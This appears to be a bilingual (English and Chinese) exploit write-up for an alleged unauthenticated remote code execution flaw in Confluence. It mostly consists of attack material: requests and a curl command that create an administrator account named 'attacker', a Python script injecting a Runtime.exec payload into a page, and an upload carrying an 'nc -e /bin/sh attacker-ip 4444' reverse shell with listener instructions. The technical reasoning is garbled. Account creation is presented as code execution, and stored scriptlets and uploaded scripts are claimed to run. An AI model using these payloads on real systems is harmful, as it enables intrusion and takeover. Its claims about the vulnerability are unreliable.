
This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allows an attacker to inject malicious code into the Confluence server, which can then be executed by the server
此漏洞允许未认证的攻击者在易受攻击的Confluence服务器上远程执行任意代码。该漏洞源于Confluence REST API对用户提供的输入验证不当,使得攻击者能够将恶意代码注入Confluence服务器并由服务器执行。
此漏洞可能允许攻击者完全控制易受攻击的Confluence服务器,进而窃取数据、修改数据或破坏服务器可用性。
我们将介绍多种方法 1.
1. 识别易受攻击的API端点:
我们将使用以下API端点:
POST /rest/api/user/bulk
该端点允许管理员批量创建新用户。
2. 构造恶意请求:
我们将创建一个包含恶意代码有效载荷的请求。该代码将创建一个拥有管理员权限的新用户。
POST /rest/api/user/bulk HTTP/1.1
Host: confluence.example.com
Content-Type: application/json
{
"users": [
{
"name": "attacker",
"password": "password",
"email": "[email protected]",
"groups": [
{
"name": "confluence-administrators"
}
]
}
]
}
3. 向服务器发送请求:
我们将使用cURL工具向Confluence服务器发送请求。
curl -X POST -H "Content-Type: application/json" -d '{"users": [{"name": "attacker", "password": "password", "email": "[email protected]", "groups": [{"name": "confluence-administrators"}]}]}' http://confluence.example.com/rest/api/user/bulk
4. 执行恶意代码:
如果请求成功,Confluence服务器将执行恶意代码,创建一个名为"attacker"且拥有管理员权限的新用户。攻击者随后可使用该账户访问服务器并获得完全控制权。
2- Poc
import requests
url = "http://target-confluence-server.com/rest/api/content"
headers = {
"Content-Type": "application/json"
}
payload = {
"title": "Exploit RCE",
"type": "page",
"space": {
"key": "POC"
},
"body": {
"storage": {
"value": "<% Runtime.getRuntime().exec(\"calc.exe\"); %>",
"representation": "storage"
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 200:
print("Exploit sent successfully!")
print("Response: ", response.text)
else:
print("Failed to send exploit.")
print("Status code: ", response.status_code)
print("Response: ", response.text)
3- Poc
POST /upload HTTP/1.1
Host: vulnerable-confluence-server.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 138
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.py"
Content-Type: text/x-python
import os
os.system("nc -e /bin/sh attacker-ip 4444")
------WebKitFormBoundary7MA4YWxkTrZu0gW--
通过Burp Suite发送修改后的请求。检查响应,看服务器是否执行了恶意有效载荷。如果响应异常或包含指示代码执行的错误信息,则表明漏洞存在。
如果使用建立反弹Shell的有效载荷,请确保在本地机器的指定端口上设置监听:nc -lvnp 4444。若服务器连接到本地机器,你将获得一个反弹Shell。